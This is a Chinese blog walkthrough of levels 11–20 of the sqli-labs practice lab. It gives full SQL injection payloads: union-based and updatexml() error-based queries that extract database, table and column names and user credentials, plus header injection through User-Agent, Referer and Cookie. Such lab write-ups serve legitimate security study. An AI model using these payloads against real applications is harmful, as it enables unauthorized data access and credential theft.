sql-labs11-20关

本文详细介绍11至20关的SQL注入实战技巧,涵盖不同闭合方式的注入方法,如单引号闭合、双引号闭合等,以及如何应对过滤和无回显情况。并介绍了使用updatexml()函数进行注入的策略,针对基于Uagent、Referer和Cookie的头部注入进行了深入探讨。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

11-20关都为post传递,这里我们可以用burrp_suit来进行抓包和改包,也可以用hackbar来进行注入。
##11关单引号闭合的联合注入
1.先使用1' or 1=1#来找到他的闭合方式。
在这里插入图片描述
登录成功单引号闭合。
2.-1' order by 3# 找有多少个字段。
在这里插入图片描述
报错,换成2不报错说明有两个字段。
3.你就可以愉快的使用联合注入了!我只把语句写一下,具体详情请见我另一篇博客。
(1).爆数据库名

-1' union select 1,database()#

(2).爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

(3).爆字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

(4).爆出所有用户

-1' union select (select group_concat(username) from users), (select group_concat(password) from users)#

##12关")闭合方式
注入流程参考11关。
##13关')型闭合方式
这一关无显位。所以用时间延迟型注入法。
##14关 双引号闭合方式
这关无回显,时间延迟型注入。
15关单引号闭合16关双引号加括号闭合都用时间延迟型注入。
##17关
这一关将引入新内容。当你发现username被过滤了你该咋办。
在这里插入图片描述
这个自定义函数把username过滤。
substr()函数截取字符串15个字符。
:补充
截取字符串的三个函数;
三大法宝:mid(),substr(),left()
mid()函数;
此函数为截取字符串一部分。MID(column_name,start,[length])
参数 描述column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID () 函数返回剩余文本。
例如;
mid(database(),1,1);
截取数据库名的第一个字母;
substr同上;
详情https://zhuanlan.zhihu.com/p/40286215
get_magic_quotes_gpc()函数php的内置函数判断环境变量magic_quotes_gpc是否打开,如果没打开说明php默认转义特殊字符的函数未运行,手动转义特殊字符。stripslashes()函数。
这时候用户账号被过滤,但是密码并没有被过滤。所以可以考虑从password入手,
1.首先输入正确的用户名。使用updatexml()函数过滤。
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数,
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
原文链接:https://blog.youkuaiyun.com/weixin_43733035/article/details/86561654
开始注入;
1.爆数据库名

a' or updatexml(1,concat('#',(select database())),1)#

在这里插入图片描述
在这里插入图片描述
2.爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

在这里插入图片描述
3.爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

在这里插入图片描述
错误: 查询数据时,并不能直接用简单的select concat(username),这样会引起报错,
在这里插入图片描述
在这里插入图片描述
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询
4.爆出所有用户和密码

' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#

通过改变0位置的数值可以逐行查看到。每一个用户。
在这里插入图片描述
解释一下代码,’ or updatexml(1,concat(’#’,(注入语句)),1)#
两个1都是凑字段的。

##18关
在这里插入图片描述
观察题目,基于Uagent的头部注入。我们来看一下页面。当你输入除了正确的账号密码之外的任何语句它都只会显示。
在这里插入图片描述
这个页面,这是你需要意识到,账号和密码都进行了过滤。我们用前几关的办法无法注入。看一下题目名字。基于uagent的头部注入。我们输一下正确的账号和密码。这时候会出现。
在这里插入图片描述
这个页面,你看到它显示了在这里插入图片描述
你应该想到,这里可能是一个注入点。使用burp suite抓一下包,修改头部中的 user-agent的值。
在这里插入图片描述
抓到包之后修改下面图片对应的。
在这里插入图片描述
当我试探性的输入注入语句时,出来了这个东西,发现它确实是一个注入点,我们现在并不清楚我们要注入的语句是什么类型的,闭合方式是什么样的。
在这里插入图片描述
不过我现在学的sql语句一共有,查询语句,增加语句,联合语句,创建语句,删除语句,修改语句。我们要注入的语句应该不会脱离这几种,我们分析一下,它是http头部中的agent,agent记录了你登录时使用的浏览器版本。和它有关的语句,查询,删除,修改,的可能性都很小。剩增加,联合,创建,可能性最大。,,,,,,,,经过很长时间的尝试你能找到它的语句原型(我自己在第一次做这关是看了源码)。我认为分析能力对于以后渗透有很大的用处。好了,看我们要注入的语句
在这里插入图片描述
显然它是一个增加语句,我们使用updatexml()函数来注入,
语句原型: ’ or updatexml(1,concat(’#’,(clause),’#’),1),1,1)#
clase为想要查询的子句;
1.爆数据库;

 ' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#

在这里插入图片描述
2.爆表名

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#

在这里插入图片描述
3.爆字段名

 ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#

在这里插入图片描述
4.爆用户

 ' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#

在这里插入图片描述
通过修改limit后面的数值,来查询每个用户的账号和密码。
##19关,
在这里插入图片描述
看图片题目应该和18关用差不多的方法。经过验证19关是修改http头里面的referer。
方法基本和18关一样,但有一点19关我们要注入的语句需要减少一个凑字段的1.
注入语句原型为:' or updatexml(1,concat('#',(clause),'#'),1),1)#
##20关,
在这里插入图片描述
从题目看,注入点和cookie有关,很可能方法和18关差不多,同18关一样不输入正确的用户名和密码。啥也没有。输入正确的用户名和密码后页面变为,
在这里插入图片描述
给你这么多可能为注入点的东西,看着好像都行,不过既然题目都给你和cookie有关了。经过尝试cookie确实可以注入,方法见18关。' or updatexml(1,concat('#',(select database()),'#'),1)#
由于20关注入语句为查询语句,使用联合注入也可以,语句为:

 ' union select 1,2,database() #

在这里插入图片描述

感谢大佬的博客https://blog.youkuaiyun.com/jinhezhai/article/details/103924833

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值